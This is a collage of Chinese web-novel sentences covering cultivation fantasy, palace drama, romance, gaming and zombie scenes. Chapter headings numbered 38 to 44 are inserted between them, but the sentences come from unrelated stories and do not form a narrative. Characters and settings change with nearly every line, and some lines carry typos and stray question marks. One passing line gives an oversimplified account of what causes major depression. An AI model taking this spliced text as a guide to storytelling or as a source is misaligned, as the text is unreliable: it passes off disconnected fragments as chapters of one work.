谢姨娘失声的叫出来,下一秒,却又惊讶地坐回到了远处,因为她看见,颜素问徒手将那些落下的刀剑捏成两截,紧跟着掌风凌厉的将那些黑衣人一个个打的口吐鲜血,倒地不起。
仓九瑶起身而映,镜中之人,凤冠璎珞垂旒,玉带吉服于身,百花裥裙下,大红绣祥纹东珠装点绣鞋。璎珞垂旒之下一抹红艳色朱唇,娇艳欲滴。
林无崖不知道,自己已经多久没有出现过如此的情绪波动,可是在今天,他却一再的被震撼到,直到他说到最后,语气都微微降低了些。
汇集到奉圣的士兵中,老兵占了三成,剩下的虽然是新兵,至少也是正规训练一个月以上,有一定的技战术水平,思想坚定热情高涨的。
相比在香港的默默无闻,在这片前世生养的地方上,柳道飞和孙艺珍还是有一定的影响力的,虽然没在韩国那么火热,但也有些热度。
要知道,他可是八卦使之一的震卦使者,在法师协会的地位不用说,道行更是到了地君位,按理说法师协会高层应该都知道才对,为何放任继续参加考试呢?
把胳膊扔了下去,两个少年抬起头,从他们的脸上没有看到恐惧和惊慌,而是一种兴奋,一种说不出的兴奋,饱含着渴望,渴望战斗,渴望噬血。不知道为什么,心里有些担心,这种对战争、暴力的渴望让感到恐惧。
阿骨打的病情还是一如既往地缓慢恶化,按照萨满祭司的估计,他就要投入天神的怀抱,很难坚持到明年开春。
双方推推搡搡,越来越激烈,原本就是来闹事的泼皮们,终于得到石燕暗示发一声喊,“抢了这些为富不仁的贪官,吃一顿饱饭!”开始掏出木棍石块大打出手,衙役们淬不及防,被打的抱头鼠窜,乱民轰然闯进宣抚府。
启动阵法的李长老,此时脸上虽然还有些兴奋的笑容,可从他咔咔作响,颤动着的牙齿可以看出,这个老头也是惧怕不已。
第一卷 第38章 以命相护
即使已经知道自己是第一名,符朝烟依旧被这个票数惊讶了一下。
孟思语忍不住红了眼睛,姜明性子有些怪癖,一向不喜理人,虽说和自己还有几句话说,但是也从没把关心的话说的这么直接。这一次让孟思语心里一暖,倒是让近来有些七上八下的心情缓和了很多。
周身围绕着淡绿色的灵力,脚步轻盈,这是随时准备出手的象征。
和炼魂撞在一起的一瞬间从炼魂口中喷出的那股狂风嘎然而止,是的,这狂风止住了,不是炼魂停止了吼叫,而是我堵住了他那勉强能称为嘴的黑洞,当然我用的是我的嘴。
重度抑郁症是由于患者个体内遗传基因存在异常,或后天环境的巨变所引起的一种情绪性功能障碍,以持久自发性的情绪低落为主的一系列抑郁症状。
他能压制的了一时,却压制不了一世,不定就把眼前的祸水给正法了。
嘉吉到中原这么久,说话依旧有些怪腔调,但是并不像之前那么磕磕绊绊了,所以谢珏还是很容易理解了他的表达。
这些怪鸟犹如凭空出现,说话声越来越响亮,我捂住耳朵也没办法彻底隔绝这些声响传入走的耳朵。
好在修道多年,别的不说,起码心态已经修的四平八稳、遇事波澜不惊。因此容昑也不生气,只静静地打量起这个道观来。
红杏不由自主的抬起头,定定的看着离她不远的蒲箫,在心里描绘着他们的孩子将来的相貌。
周围的人不明所以,七手八脚地将老乌给翻了个面,却齐齐变了脸色。
谁不是知道枫家族在t国能顶半边天,国家有什么大的行动,和事宜都会通知枫家。
抬起手腕看看时间,现在是22:00一切的夜生活才刚刚开始,梓瑶并不着急,毕竟没有系统帮忙什么事情都要自己动手了。
陆晨阳下意识的往后退了两步,但是看妈妈吃的真的特别享受,他又嗅了嗅,继续往后退了一步,摇摇头。
并没太多在意景伊人有没有提到尚好好这几个字,而且他既然知道景伊人说的就是尚好好,表示她是应该说过。
那个时候的城乡差别挺大的,农村人仍然普遍都穿着破衣烂衫,这些次品布料送人还是一个挺大的人情。
苏龄玉眨了眨眼睛,身子慢慢地往旁边走,竟是打算直接绕过去。
待刑孝森走远了以后,趴在房顶偷听的白幽若和南宫忆也悄无声息的离开了。
出事以后,她有打苏晓月号码,只是显示空号,她才幡然醒悟……苏晓月从始至终,都在利用自己,没有留下丝毫证据。
他虽然走在厚厚的雪中,步履不稳,可还是回过头来看看我,那双暗淡的眸子一直盯着我看,极力做出十分友好的神色。
孙圆一下子愣住了,不过暗灭刀就架在孙方脖子上,他不敢再狡辩:“是他们四个!”孙圆手一指站在一起的宁彩儿,李鸿飞,方亮和楚鹏。
我一下就急了,跳起来冲着那男的后面就踹了一脚,直接把他踹的往前踉跄了几步,我转身对着王洁就是一嘴巴子,很响。王洁看着我楞了一下,接着我想都没想又是嘴巴子。
方子霖会喜欢曾经那样傻气的她,如今的她更容易打动他的心,或许他只是隔了千年,忘了当初对她的心意。
“当然是急着给阿扬添个弟弟妹妹。”又有谁接了一句,换来一片哄笑。
“伺候个毛。”六陌一声大喝,眸子极其阴冷,为之前受到媚惑而耿耿于怀,他抬手一掌劈去,丝毫不懂怜香惜玉。
她也不知面前这公子究竟是个什么来头,虽然是个帅哥,但这么平白无故的向前冲万一犯了忌讳岂不是等于又惹上了个沐方锦么?
哈利投给对方一个疑‘惑’的眼神,这是第一次有‘精’灵主动找自己说话。
“好吧,呃……就这一怀。”杨呈秋打着嗝说道,视线似乎慢慢变得有些模糊起来。
“几百年前去问过他我是谁……结果他就对我念念不忘了。”妩媚自豪道。
同事之间忽然议论起来,看来虽是表面安静认真工作,其实都在关注会议室的动向。
幸亏爹爹很爱护她,觉得异灵人还是普通人都是自己的孩子,没有怎么样对待过,一直努力的爱着他。
更不会有恃无恐地觉得圣初心他们根本不是自己的对手,她可以拿捏住他们的,最后落到现在这样的下场。
做什么要阻止他,难道澜语灵音不该死吗,又或者是等北夜寒和圣初心出来再处置,他觉得,还是速战速决为好。
第一卷 第39章 霍帮的报复
没想到自己竟然能见到真人,要不是因为自己在工作,她都想过去问要签名或者合个影了。
除了那些被洪大光所杀的百姓以外,何其山从始至终都没有用手中的权力诛杀过一名无辜百姓。
但转世投生的人也是特别的,是有性格缺陷的,因为她们的身体里只有一道魂魄。
她被折腾的够呛,刚睡了一会儿也不知道是不是做噩梦了,死死地抱住他的腰,往他的怀里钻。
当然,徐冉不会把这个话说出来,毕竟这涉及到之前的口红印事件。
看着这张纸条,夜孤鸣一脸震惊。他不是惊讶于里面的内容,而是在想究竟是谁把这张纸条塞在自己身上的。
学校里每年都会出几个十分优秀的学生的,特别是涉及娱乐圈这方面,关注的人都要多一些。
赵承德按掉了免提,随后和聂棋圣又聊了两句才挂断电话,最终抬起头看着秦晚台欲言又止了半天。
难道那天真是个意外?只是路过的某路游神看他老李不爽,所以出手整治了一下?
“还行吧,不疼不痒的,都怪你,把我创业的事情告诉了我爸,本来好多难题,全部迎刃而解,一路绿灯,现在就等着开张收钱”龙梦梦抱怨的说道。
说着,林权就从背包里取出了刚才打到的蓝色宝冠,递给了我胖故我在。
尼克佛瑞以宇宙魔方研究武器的事情,一直都是瞒着复仇者联盟的成员的,而复仇者联盟之中,除了旗帜一样的美国队长,班纳博士和钢铁侠的智商简直爆表,都是智商好几百的人物。
黑白相间的左手手套,是稀有装备狼王手套的组合套件,一左一右,组合在一起,就是紫『色』装备狼王手套,在游戏里的属『性』很高,不过现在嘛,对张远来说,只能算是一件比较坚韧的皮手套而已。
两人在客厅里相见,分宾主坐下,然后说了一番没有神马营养的话题。
林希伸手接住,却才发现这枚队徽有些温度,要是没有虚能护体的话,这一下估计整条手臂都被烫没了。
猛然间那地面裂开。一道道黄褐色的光芒向上爆出,将他身形掀起。
“不然嘞?”周天心觉得更奇怪了:“能在异界解决的问题为什么要浪费主世界的时间?”接着她想起林希是在时间同步的保险箱里呆了一年,有这种思维惯性也不为过,便默默点了点头。
别的不说,若是将两者拿去送拍,在即将开始的这第二次拍卖会,这张和谐弓的成交价格,一定要超过塔格奥之鳞这件死灵法师顶级套装部件。
陈浮生却实在没有什么好办法,毕竟雷网虽然厉害,但他御使飞剑隔空攻击,根本不会受伤,便是雷团爆开,这些元气震荡也根本损伤不了飞剑半点。
一家三口,其乐融融的坐在一起,享受久违的温馨。直到饭后,母亲都有一点不敢相信,总是会把目光停留在兰斯的身上,似乎怕这只是一个梦。
冲击波过后,整个伯克利基地一片狼藉,往日整齐的街道如同被狗啃了似的,仿佛经历了无比惨烈的战斗,除了房屋建筑还保持着完好,一些公共设施几乎全部被毁。
还有圣人降世引领凡人渔耕火种,结网缫丝,呼吸吐纳,飞天遁地。
吴老爷犹豫了下,虽然对这道菜没想象中那么喜欢,不过也算尚可,尤其是这是她自己想出来的,想必厨艺是没的说的。
没想到他居然从对手身,学到了很多,反过来用学到的东西,对付敌人。
浪沧夜唱和薏园被带回警局的人并不多。绕乱社会治安罪,没有造成严重的后果,适当的短时间的拘留、适当的经济惩罚之后,警方就此罢休。
胡蔓也感触颇深,但其实她不是变了,她只是更会控制自己,更懂得如何适应,面对什么事,该用什么态度,也说不出到底是成长了,还是更事故了。
“你,你废了我的灵海!”云害怕的吼道,灵海被废,他就变成了一个凡人,只不过瞬间,云耑头发变得花白,皮肤皱缩,老得不成样子。
古天华永远也无法忘记,自己领悟法则的那一天,他对于速度的追求是有多么的渴望。
厉轻恬闻言自然欣喜,知道从此之后灵火宫便是一枝独秀,稳压中土各大门派,有清岩这座大神当靠山,灵火宫可谓是前途无量,这名字改的值。
百慕岛位于太平洋的正中心,主岛面积一千多平米公里,人口50万左右,是一个太平洋上的独立国家。建有一个军港。没有自己的军队,受美丽坚帝国军队的保护。
龙雨眉毛微微一皱,这样的距离,他竟然没有发现,那男子单膝跪在地上,行的是正宗黑衣卫见面礼,龙雨眼里闪过一丝迷惑之色,头微微一侧,双眼里射出森寒的光芒盯向了这个男子。
陈泉跟龙雨齐齐的一脸阴霾,这加森看起来身子单薄,但只是这一个神通,就足以让他笑傲寰宇了。“这把剑,不错,我收了。”加森细细的打量了一下手里的承影剑,眼里闪着异彩的说道。
现在的情势对易彩霞来说危险万分,但对杨彬来说,却象是在玩一样,他一点儿也不紧张,就算糯庄杀了易彩霞也不会太过影响到他的计划。
随心法运转所剑旋转起来形成了螺旋龙卷风风眼猛地轰响莫无邪。
第一卷 第40章 我不喜欢女的
说完,许执事浑身神力奔腾凝聚,弥漫出凶悍的威势,就要出手轰杀楚轩。
一道苍茫之音从天而降,在洪宇的面前,出现了一个虚幻的男子身影。
并没有直接入住酒店,跟在新西兰一样赵昊跟托莉雅先是出去逛了一圈,随后找了一家餐厅。
一道道可怕的虚空风暴肆虐,冲击着洪宇的身体,欲将其撕裂而去。
而另外与空间门一个是目前中国规念大,同样也是实力最强的一家网络游戏公司。
或许是今天发生的事儿挺多的,又或许是最近忙着比赛休息太少,沾上枕头没多久,她就睡着了。
当然也仅仅只是邀请而已,毕竟赵昊还没有强大到那种让人无法忽视的程度。
“这位将军,这是我们甄家的三公子,甄浓,可否行方便,”甄浓边上的管家模样的人上前也是从袖子里面掏出了一块玉佩來,虽然沒有荆玉那般珍贵,却也是一个价值数十金的东西,比黄漪直接给金子要贵得多了。
“幸好我们走得及时,要不然就出不去了。”古泰的额头都冒出冷汗。
不久老妈陈慧兰就搞好了全屋的清洁,恰好老爸买了一些海鲜、牛肉、瓜菜等回来了,还拎了两瓶红酒,老妈又开始统治她的厨房。
那种双脚离地,风驰电掣生死自己掌握不住的感觉实在是太吓人了。
传音拜托祝敏棠送了药材后,宁千秋一时间,竟有些无所事事起来。
墙上的调控按钮按下,窗帘自动拉开,等阳光洒进来,林好好便转身去浴室准备洗漱用品,不冷不热的温水,冷御寒常年使用的牙膏以及干净透亮的漱口杯,最后将消毒后的白色毛巾整齐叠放在洗脸台上,退出了浴室。
????但却发现,在大气层之外,自己的行动已然不够灵便,追击看来行不通,只能对着数十万米以外的三艘空天战舰干瞪眼。
然而这些话,林好好喊不出来,她愤恨地端过汤,垂下头,开始认命的挑葱。
姜宇一边平淡的叙述着令人惊愕的事实,一边观察着樱空表情的变化,在到达了半步四阶高基因锁的同时还拥有超级金丹的现在,他的观察力确实真的能够察觉到赵樱空主人格现在的状态。
眼看就是一巴掌,傅以行怎能让别人在他面前欺负到迟暮,瞬间就拉住了他的手臂。
不是每一家公司都像秦景云一样自己就能玩的转,电影是有风险的,为了避免风险就要分摊风险,这样一来一部电影的投资商和出品方会有很多的。
直到房门应声合上,冷御寒才缓缓睁开眼睛,他看了一眼桌上的U盘,掏出手机给迟翔宇打了个电话。
这个犯罪顾问向来不按常理出牌,一晚上的时间,以犯罪顾问犯罪的能力,王叶丹死一万次都足够了。
江河坐在座位上轻轻翻动着日记,终于将贝贝日记看完了。江河明白发生了什么,知道了事情的来龙去脉。
“和老祖打平手?”他们几个咕咚一声咽了口吐沫,老祖的实力在明月城里几乎没有敌手了,叶居然能和老祖打平手,这……太变态了吧?而且这还是谦虚地,难道叶已经可以打败老祖吗?
看着那如同杀神的男人大杀四方,米籍男子眼中眼中浮现起一抹震惊之色。
似乎时间从来都没有从江河的身边溜走,而江河也从来都感觉不到,时间到底是存在于这个世界上的,还根本就是人类想象出来的一个概念。
萧雅洁的双臂被卡在身下动不了,即使想要挣扎但是也无济于事,鬼王看到叶又拿着乱神刀冲了过来,当即伸出另一只手向着叶抓去,叶在空中接连翻了几个跟头,躲过了那只黑漆漆的大手。
长公主身手不凡,却抢先救下了那只横笛,叶天一边打斗,一边暗自松了口气,而身后的铁心和铁战却在这时候已经扑了过来,他们一见到叶天,便毫不犹豫地痛下杀手。
他俯下头来,一脸得意的凶光在眸子内迸发,双手也渐渐地滑落下来,慢慢地靠近孟妮雅的头顶。
果然,罗素素一提起魔教,她身后的姐妹们瞬间都把目光从杨帆身上移开,看向一言真人。
夜风也开始明白,为何单纯的一名高中生,竟然会对身旁的同学痛下杀手。
陆离除了出动武力为这个联盟提供保护,为他们提供一些副本或者打怪才出的原材料,也会收购他们制作的物品。
“哎!鬼痕兄什么时候也学的婆婆妈妈了,有话但说无妨,咱们兄弟二人还有什么不可交心的?”韩阳微微一笑道。
密谈过程还算平和,在付出足够数量的丹药之后,秦烽得到了上千头高阶异族的遗蜕,而且祁若思提出订购某些圣品仙丹的要求,他经过考虑后同样表示接受。
“他们应该不是真正意义上的复活吧,可能只是灵魂被暂时唤醒了,具体是怎样我也弄不明白。”刘心想了想说道。
第一卷 第41章 真是个大好人
正因为这种信任,白舒才会觉得自己背负的太多,才会越努力的生活下去,他要用实际行动告诉别人,他白舒值的等。
童乐郗气愤的握紧了拳头,很想很想的飞过去臭揍沈倪舒一顿,还有那个沈震,更是过分,居然这么欺负姜蠡。
身影急速坠落,握在手中的断剑惊魂猛地插入大地之上,强横的气浪,暴冲散向四方。
柳销魂将杯中酒一饮而尽,脸颊上骤然间已变得说不出的娇红、羞红起来,她将酒杯放在桌上,就握住黑鹰的手,紧紧的握住。
“你好大的胆子,胆敢妄论家国大事!”光朋无言反驳只好抬出这个由头来指责雷生。
上古时期逃离到域外的魔族到如今早已经死绝了,但所有的魔族都还记着蚩尤,他们的第一位魔王。
徐陌森瞳孔皱缩,眉头青筋暴起,“唐舒怡,你说什么,有种你再说一遍。”为什么她也要这样说,自己真的就只能伤害她吗?
“李山,咱们都是太厄镇出来的人,在太厄门彼此照顾不是应该得吗?还说什么回报,太见外了!”钱川嘴上说得豪气干云,可一颗心全部放在了“报答”两个字上。
虽然平时他一直都是大大咧咧的做派,关键时刻他还是很靠得住的。
然而,那股能量却绵延不绝,一直维持了下去,直到萧怒撤回魂珠,并勾动神魂内无穷无尽的神识魂力,将这颗魂珠掩埋在三棵树苗中间的泥土里,这种状况立刻消失了。
好在有歆芜在一边吸收血液,不然这个过程之中凌霄全身都会是鲜血。
灵术,单火级,每天可以施展三次;十火级,每天可以施展两次,千火级,每天可以施展一次,陨星级,每三天可以施展一次。
但这类似,终究也还不是。妖族多在山脉之中,虽然势力不,却全无半成了国度的意思。
从几番对话中,众人能够听出这两人应该早就认识,且有着某些过节,但一个是百龙门的门主,一个是天魔教的高层,这两人又怎会有瓜葛?让人百思不得其解。
这僵尸积累了几年的尸气慢慢散去,可以看到那尸气散去的最中间的位置上面出现了一个深深的坑,坑中一个墨色的透明棺材浮现出来,此刻这几个练气的修士正是拿着那法器敲打着。
“寒潭山脉西北侧的大致范围有数千里,如此广阔的地域,要搜索方进父亲口中利剑般高峰,恐怕不是一件易事”,视线之内,毫无有用的线索,云凡眉头一皱,思虑着下一步的方向。
也就是成就了元神境界的宗师之辈,才能在百鬼窟中获准离开百鬼窟,自立‘洞’府。愿意收徒就收徒,甚至开宗立派百鬼窟都不管。
一切都不是那般容易的的,她以为自己人多势众可以杀了叶白,但是现在人多,却是成了桎梏,叶白的话,刚刚说完,这些修士,竟然齐刷刷的让开了一条路。
“危楼高百尺,手可摘星辰。不敢高声语,恐惊天上人。”带有磁性的声音响起。
在屋里躺了两天之后,我和苏青穿好衣服,再次去了朝圣教总部。
——男人,就要坚守自己的诺言,泪水就留在夜晚之中吧。佳缘留下的话,李洛玄不敢违背,他咬着牙,将手中的核心扔向了自然律裁剑。
封亦辞哪里知道宁姗蝶的想法,他点了点头,面上并无过多的情绪。
樱子举起粉红色武士刀,刀四周樱花绽放,接着一道刀光直冲云霄,天空中现出一轮太阳。观战的人看到两个太阳在天空中照耀,一个是樱子剑境中化出来的。另外一个不用说。
“先前因为一些事情耽搁了,朕倒是差点忘记了你跟二皇子的婚事,是应该要好好筹备一下了。”只听到皇上语重心长的说着。
魏仁武还无法马上参透数字的意思,但是钥匙他有一点头绪了,钥匙长度很短,这完全不是一把开门的钥匙,倒像是开一把锁的钥匙。
原本项杨只是给它们进行了最简单的分组,可这次,则是全方位的配合,对于散漫惯了的海兽来说,这种一板一眼的训练简直就是折磨。
“不行!撤退只会让变异丧尸进到这个房间,所有人退到房门口,等变异丧尸一冲进来全部开火,杀掉变异丧尸,咱们就上二楼!”队长思考了一番说道。
“好一幅伶牙俐齿!不错,你的回答也很不错!但…食物和人肉我不说,你凭什么用食物来诱惑这些人?一个个连衣服都不穿,你也是毫无道义!还想以此来反驳我?”辰枫微微一笑说道。
都忖道原来如此,怪不得秦烈,对那明月少主,半点都不曾在意。
来到了地面后,猿灵并没有离开,只是将妖识散开,将外面的一切看得一清二楚。
第一卷 第42章 送你一程
“我怀疑我的队员和你的队员在城市争霸赛的决赛上打了假赛。”谭紫语说道。
华斌惨叫了几声,就没了动静。随着时间的流逝,我发现华老爷的皮肤又干瘪开始变的充盈起来。我嘴里呢喃了声,这是活了吗?我看的出神。肖晚晚则是面色有些不好看。
随着夏冷不断的舞动,弯刀在他手中,变的缥缈虚无,而南宫冷月的美眸,越睁越大。
此时,雷刚高昂着头,看了看人道班的石浩然,以前他们两算是熟人,没有过多的冲突,有时候还会想要联手对付风凌。
在这种时候都能笑得出来,要知道,DDS战队一旦拿到了大龙,DA战队可就会相当危险了。
“不会。老大,要是我们没有收获敢这么大声让你给我们准备好吃的,犒劳我们吗?放心吧。老大,等我们吃完了,一定会让你感到很惊喜的。”胖子立即兴奋地说道。
正当所有人打算要选择钱震赢之时,一个宛如琴弦般美妙声音从后面响起。
龙俊心中暗叫不好,情急之下,他来不及细想,连忙从裤袋中掏出一支银针,迅速地往着青竹蛇的头部飞去。
“冷哥,今天天龙武道社被青职学院的赤焰武道社踢馆,我想请你帮忙讨回这个面子。”杜龙回道。
听到严苏说起那块玉,连墨也想了起来,那块玉好像也是红色,只不过是暗红而已。
敌人布下了网,严若飞心里并不清楚敌人的这张网,到底是怎么布控的。
“可恶!可恶!让你泡妞,我让你泡妞!”初珑手里抓着菜刀,使劲的在砍着那只可怜的螃蟹,那凶狠,也是让旁边看着的人也是暗自吞了吞口水。
严若飞靠在一块大石上闭着眼,等王涛的重火力排来到第六道防线。
蔡瑁做完这些之后,紧跟着又去了剻家,这算是荆州的大事,只让他蔡瑁做这些事他可是有些不甘的,身为大族的剻家也应该出一份力,蔡瑁的意思很明显,要么出人,要么出钱。
而关于这些,陈枫丝毫都不担心,比这些国家行动更早一步的是军方和第九局,他们已经严密封锁消息,对每一位进入国内的人员都进行了把控,所有知道消息的人,也都签了保密协议。
两处白光一碰,顿时彼此争锋,丝毫不让。原本清幽的石室刹那之间泛起森森寒意,而两人坐前的石桌更是一片狼藉,盛放着果品的石盘一个个七零八落,混杂着或红或绿的果汁,在石桌上勾勒出一副三流的抽象画。
米拉也有样学样,和咖莱瓦一起向前走来——他们仍旧无法避免地会下意识就屏住呼吸。
严若飞擦了一把头上的汗,再次审视了几眼一楼,确定不再有人,这才一步几个踏步的直奔二楼。
银风鸟举起翅膀挡住青雷,结果翅膀变得一片焦糊,镜水蜥也好不到哪里去,因为误吞了几只天蛛,受了较重的内伤。
“但是这是事实。只要你出去看看就知道了。”不过既然散发了自己的气势,刘宏自然也不会收回,只当是为公平交易展露实力。
再度施展血脉法影,吴角一身的气息暴涨他仰天发出一声长啸,随后脚步踏地气势汹汹的向着林岐袭来。
紧接着将那人扯到自己身上,腾起一脚将他朝天上踹,自己则借这股反作用力加速往下坠落。
那就是报效杨总的知遇之恩,虽然嘴上没人这么说,但在心底深处,这种思想却是普遍存在的。
其他老板显然有不少人是这么想的,都在点头,显然他们的思路是一样的,对于应聘者的要求相当苛刻。
“不碍事的,豖原城的戎狄军卒我都不怕,难道还怕几个奴隶不成,世叔尽管放心离去便是。”秦川脸色认真的对着孟山虎说道。
徐富贵眼角的青筋抽搐了下,一个吃软饭的臭保安而已,老子会怕他?
因为除了伊人会所之外,明珠市还有不少新开张的店面也选择在今天开业。
如果汤黎就是戈离本尊……如果本尊回来了,那她去抢著作权,不就是自己打脸吗???
一直很专注工作的大佬终于从资料页上抬起头来,视线落在她白净柔美的脸上,眸光一寸寸柔和下来,拿起一侧的毛毯,轻轻地披在她的肩上。
这些人明显属于学霸级别,对于这种培训毫无压力,反而对于培训奖金有着巨大的野心。
管理是一门艺术,有刘维娜这个好老师,他把管理这门艺术玩转了。
“张翠山,你不必担心,我是不会阻止你离去的。”轩辕神君似乎看透了张翠山的心思,说罢,轩辕神君又陷入了沉思。
他的头发乱糟糟的,好像昨夜刚被一窝喜鹊做了窝,两只眼睛周边的黑眼圈完全可以与国宝大熊猫一争雌雄。
孟青感到一阵寒意,自己的队员已经牺牲了,厂房里的三个囚犯变成了怪物正在吃着队员的尸体。
杨泽峰家也因为杨泽峰的入狱和巨额的赔偿变得一贫如洗,再加上陈昌琴游手好闲,儿子杨雷又无一技之长,陈昌琴只能把希望寄托在杨明身上了,希望杨明能念及堂兄弟一场的情谊,给杨雷谋个轻松又能赚大钱的工作。
百余名神君的尸体一出现,诸多怪物瞬间便将其吞噬,身上光华闪现,实力生生的上升了一个台阶。
“嗨,自己人。”赵康摆了摆手,人走出办公室的时候顺手将门给带上。
这个基础就是陈伟,他太了解陈伟,从当初觉得陈伟是他亲弟弟开始,直到后来帮着陈伟成长,陈伟的身上,有他的影子,他觉得自己能够完全掌控陈伟。
宇宙中不计时间,张翠山也不知道自己飞了多久,只知道他力竭后和恶魂接替飞行了无数次,身体外的光柱也撤掉了一层白色光柱后,终于到了月球上空,看了看月球后,张翠山径直离开了这里,冲向了更远的太空。
第一卷 第43章 缺德的煞星
这个游戏一直以来对神的概念都是有些模糊的,若不是早前就遇到过所谓的神,还有这次的月神,以及确实存在的成仙系统,她都有些怀疑这个世界到底存不存在天界以及神仙了。
只见十几个被苍白色电光所包裹的骷髅头发出凄厉的嚎叫之声,大张着嘴巴从空中射了下来,一时间林扬所在区域整个都处在了这“九幽冥雷”的轰炸之中。
这几句话似乎触及了西陵北的忌讳,他立刻转过头,狠狠的瞪着方才说话的两人,双眼中几乎都要喷出了火花。
眼看着同伴受苦的滋味,实在是相当不好受的。随着外界的残杀持续进行,颜雪梦和凤君瞳,也不知向凤栖梧抗议了多少次。
一声清啸,林扬抛却所有的恐惧与杂念,将所有的心神完全沉浸入御剑之中,异常简单而朴拙的对着那大帐的血水巨口就刺出了三剑,这是完全没有任何花巧仅仅只简单构成了三角形的三剑。
人们都说,天宫主人英明一世,但扶持九幽殿主一事,他实在是看走了眼。人们都盼望着,如果神明知道此人的劣迹,能够重新回来收了他,救万民于水火……在那段最黑暗的时期,这就是许多人唯一的信念。
真武修士的修为境界最高是只有真人不假,但降龙武尊却是以剑修之道成就真君境界后再转修真武,虽然导致真元驳杂自身几乎无缘真仙,但其战力之高却是冠绝真君境界,骄傲如孤云剑圣都自认不敌。
这个时候,一辆豪华超跑忽然停在了燕京大学的门口,引得过路的人一阵惊讶。
和白无常、徐婕娅约定好了明天早上学校见,君临就自己开车回了别墅。
“你……过来!”宁潇一眼就看到了那个修为较高,七级雇佣兵的黑狐盗匪。
看着季氏和常征旁若无人地说起话来,不知怎么回事顾四心中有些不太舒坦。尤其是季氏现在,眉毛舒展,嘴角上扬,十分高兴,跟见到他时完全不同。
秦兵此时,均是大惊失色,他们都是被黑豹那凶猛而巨大的身躯给吓住了。
对着精血的消失,林逍却感觉到有一股无形的力量锁定了他和青玄二人。
看着如此的绝世神兵,作为一名刀剑痴,她一眼就是看出了这些神剑的不凡。
易尘肯定没有傻到当着她面揍大黄,这种揍狗不成反被揍的事情,他才不会做。
“歪理一道一道的,那我也要愁,给我一根!”艺欣伸手就跟易尘要烟抽,倒是唬的易尘一愣。
“这……”沐冰想要摇头,但是一想到刚才夜灵那恐怖的神威,却又不敢表现出来。
听到这句话,众人脸色齐齐一变,不说别的,选到杀手的人可以说是巨大的灾难,毕竟要与整个班级为敌,并且不被发现。
“这什么破东西嘛,竟然这么难?”最后,天明很是恼怒的大叫说道。
将这件事情的起始进过解决办法详细的写好,放在信封里,某某郑重的把信封交给了大叔,并嘱咐大叔一定要亲自交给君言,以防万一,搞不好君言还能及时救自己一命也说不定。
所谓武帝,那是一些修为突破了炼神期巅峰,几乎是要成为传说中的仙人般的存在。
等血袋里的血下了三分之一的时候,薇薇安拿着血袋站在那里,不在往外倒了。
接受挑战!某某挑衅的朝着比她整整搞两个头的护卫看了一眼,转身使出吃奶的力气把隔了一条街的大箱子拖了过来,嘎吱嘎吱的划地声划破了空气惊起一片鸡皮。
皇后皱眉,这个孩子怎么总是这样,现在是关键的时候,他不想当皇帝,是什么意思。
而且,周楚上来就交花名册交账本,这就更坚定了大家的想法,他要是有问题,就决计不敢这么做了。正因为没问题,才敢什么都拿出来。
“媛姐你别激动,其实大牛他是修真人。这药园子其实是一个时间空间法器,全名叫十全流光塔。”慕红绫细心介绍道。
我拉着理拉德的衣袖想要跟他说没关系,我已经原谅他了,可是入眼的却是理拉德胸前一片殷红,然后我眼前一黑,便失去了意识。
靠在走廊的墙壁上,我只是远远地看着那扇门,门里面是沙曼,我很想进去看看她,但是门口守卫戒备的眼神告诉我,理拉德并不希望我看到里面的景象。
他搂着她,任她在他胸膛哭泣,只轻轻的抚着她的头,她的背,很轻很柔,像微风轻轻拂过。
想到这里,韩轲找到了自己的手机,拨通了孟骊的号码,电话那头一会儿才被接通。里面传来孟骊疲惫的声音。
“这古惜鸟之毒我化生岛已研究数年,能与之毒相融的只有天地元气,但此法不能用在普通人身上,更何况娘娘的身体只怕是承受不住”。
这些自诩走南闯北的修士总是不甘落后想显示自己的渊博,不过得到的消息还是让齐麟很失望。
穿云箭带着一股旋涡绞碎了极光兀自射穿了极光巨人的身躯,这巨人身躯就像是光一样再面对攻击居然散开了。
第一卷 第44章 新年贺礼
“该不会是云琛吧!”
所有人都被叶峮的话吸引过去,全都望向大门。
霍乾念也盯着大门口,不敢眨眼。
马蹄奔腾之中,只见五匹高头大马拉着一辆车,直直朝霍府大门冲来。
她真的长大了,在他毫无察觉,全然不知情下,她已然变了,现在的她,在他眼里,是另一个林夏,他一点都不了解的林夏,意识到这点,他心里很不是滋味。
纵然林坤对宋枫有着发自内心的畏惧,最后一层脸面被宋枫丢在地上践踏,还是让他火冒三丈。
一边不想拿钱给李翠青治病,另一边还怕李翠青手完术后瘫痪在床不想照顾。
再有谏臣胡苗和与姚府那隔了一层的姻亲关系,因也自金銮殿上出列,力挺姚知章。
簌簌金铃声儿于喧嚣中格外清晰,伴着时锦“砰砰”的心跳声儿不可自抑般于耳边回响。
但指定是不能被这老板坑钱,见他不说话,围着走了两圈就要离开。
大致观察过墓碑和坟包后,荣非重新将目光转向已经死去的蒙面修士。
田老太太苦涩得一笑,自嘲道:“啥大户人家,也就一介草民罢了。”心想,哎,褪毛的凤凰不如鸡。
陆南洲将外套脱下来搭在了衣架上,换好鞋后,他视线就若有似无的往许喃身上飘。
纵然并非是直接吞噬意志,但是对雷电的吞噬,也让乌应的攻击遭到了削弱。
做梦?这时发丘指带着他们三人走过来,白帐篷里的人也陆陆续续醒了过来,慢慢地都围到了那盏油灯周围。
“狂妄!真不知道你有什么资格说这种话。”三号阴柔的声音传来。
楚炎的神识,不可为谓不强大,但是,只要触到金箱外一寸距离,就会完全消散,根本不法接触到金箱的箱体,自然也无法探查这金箱的真实玄妙。
客舱内的座椅上,半开的防护罩完全收起,侧面也露出了玻璃窗,能够看到外面一排武装飞船以及飞船之后的一艘轻型巡洋舰。
跟一个扛旗主播连麦,虽然确实会分散一些自己的人气,但是李长林心中清楚,自己的那些铁杆粉丝,是绝对不会抛弃自己的。
“战斗力减员将近五百,目前还能参加战斗的应该千五之数,张颌有信心带领兄弟们在此抵挡荆州军两个时辰!”张颌点头,肯定地说道。
在绿毛即将对他轰击的时刻,宋铭目光一闪,一个符咒被他仍了出来,他的身子陡然移动,生生横移数十米避开了绿毛的袭击,但他却故意挨了绿毛一击劲风扫射。
白雪无条件的放了他,他也不过一命还一命,绝不示弱,可白雪更将自己拼死要保护的人托付给他,这怎能不让他激动,这份对自己知己敌人的信任,怎能不让人敬佩。
而且,对于修者而言,他们的寿命真的算是太长了,而“立业”,也就是修为有成,才可能是他们第一考虑的吧?
“是的,我和同学正在解剖室外面,你把尸体的照片发给我看看!”张凡说道。
“僵尸一般都会在凌晨过后才出来活动的,所以咱们还得等等。”张凡说道。
